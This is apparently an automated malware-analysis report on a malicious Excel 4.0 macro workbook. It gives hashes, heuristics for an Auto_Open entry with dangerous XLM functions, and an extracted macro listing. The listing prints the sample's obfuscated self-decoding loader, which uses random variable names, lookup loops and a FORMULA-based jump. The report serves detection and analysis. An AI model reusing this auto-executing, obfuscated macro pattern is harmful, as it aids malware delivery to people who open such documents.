Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9ec7bd3bdd5a68d5…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:47:05 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: ba43bc861aa5c94694c4b26246d11836 SHA-1: c281faac59f594a64e8069cdcd6e8f995d69a045 SHA-256: 9ec7bd3bdd5a68d549a3184ced46b448a0694d1dc9dd727ac719db868cdaa929
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6560 bytes
SHA-256: 0d11dcb6ca1a46551109aaf54601fda3dabc6f3cff0daf465efd03b62126d1a5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DGLxWIK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G180 
' 0018     25 LABEL : Cell Value, String Constant - aZUCCMGvtF len=0 
' 0018     22 LABEL : Cell Value, String Constant - cmFsaux len=0 
' 0018     25 LABEL : Cell Value, String Constant - EfaktJRcsY len=0 
' 0018     27 LABEL : Cell Value, String Constant - fHrPxTgBvTAp len=0 
' 0018     22 LABEL : Cell Value, String Constant - fKiCUlo len=0 
' 0018     27 LABEL : Cell Value, String Constant - HtVAHRuotcRW len=0 
' 0018     20 LABEL : Cell Value, String Constant - MKQrv len=0 
' 0018     27 LABEL : Cell Value, String Constant - OnPgaBOKoQGG len=0 
' 0018     26 LABEL : Cell Value, String Constant - OVBMLTdTeFf len=0 
' 0018     26 LABEL : Cell Value, String Constant - PXbekUbWuby len=0 
' 0018     24 LABEL : Cell Value, String Constant - rfPDEhmtD len=0 
' 0018     23 LABEL : Cell Value, String Constant - sOwWCssw len=0 
' 0018     22 LABEL : Cell Value, String Constant - ThSYdlS len=0 
' 0018     20 LABEL : Cell Value, String Constant - UhQfe len=0 
' 0018     20 LABEL : Cell Value, String Constant - vIucH len=0 
' 0018     21 LABEL : Cell Value, String Constant - vZuJPD len=0 
' 0018     21 LABEL : Cell Value, String Constant - wAAFaW len=0 
' 0018     21 LABEL : Cell Value, String Constant - xmNKUi len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZLMyfaoJuD len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZrQwmD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DGLxWIK,G86,"SET.NAME("fHrPxTgBvTAp",VALUE("0"))",""
'  DGLxWIK,G89,"SET.NAME("wAAFaW",fHrPxTgBvTAp)",""
'  DGLxWIK,G94,"SET.NAME("ZLMyfaoJuD",fHrPxTgBvTAp)",""
'  DGLxWIK,G96,"SET.NAME("OVBMLTdTeFf",COUNTA(rfPDEhmtD))",""
'  DGLxWIK,G98,"SET.NAME("HtVAHRuotcRW",COUNTA(ThSYdlS))",""
'  DGLxWIK,G103,[],""
'  DGLxWIK,G108,"SET.NAME("vZuJPD","")",""
'  DGLxWIK,G110,"wAAFaW",""
'  DGLxWIK,G115,"SET.NAME("vIucH",HLOOKUP("*",rfPDEhmtD,wAAFaW,FALSE))",""
'  DGLxWIK,G119,"fKiCUlo",""
'  DGLxWIK,G122,"SET.NAME("sOwWCssw",fHrPxTgBvTAp)",""
'  DGLxWIK,G126,[],""
'  DGLxWIK,G130,"sOwWCssw",""
'  DGLxWIK,G133,"aZUCCMGvtF",""
'  DGLxWIK,G137,"UhQfe",""
'  DGLxWIK,G140,"MKQrv",""
'  DGLxWIK,G143,"SET.NAME("cmFsaux",VALUE(HLOOKUP("*",ThSYdlS,MKQrv,FALSE)))",""
'  DGLxWIK,G148,"EfaktJRcsY",""
'  DGLxWIK,G152,"vZuJPD",""
'  DGLxWIK,G155,"ZLMyfaoJuD",""
'  DGLxWIK,G158,NEXT(),""
'  DGLxWIK,G161,"OnPgaBOKoQGG",""
'  DGLxWIK,G165,"SET.NAME("f",INT(T(FORMULA(T(vZuJPD)&"",""&T(OnPgaBOKoQGG)))))",""
'  DGLxWIK,G169,"ZrQwmD",""
'  DGLxWIK,G173,NEXT(),""
'  DGLxWIK,G175,RETURN(),""
'  DGLxWIK,G203,"SET.NAME("PXbekUbWuby",G86)",""
'  DGLxWIK,G208,"rfPDEhmtD",""
'  DGLxWIK,G210,"SET.NAME("ThSYdlS",R70C12)",""
'  DGLxWIK,G215,"SET.NAME("ZrQwmD",223)",""
'  DGLxWIK,G218,"SET.NAME("xmNKUi",7)",""
'  DGLxWIK,G222,PXbekUbWuby(),""
'  DGLxWIK,G223,HALT(),""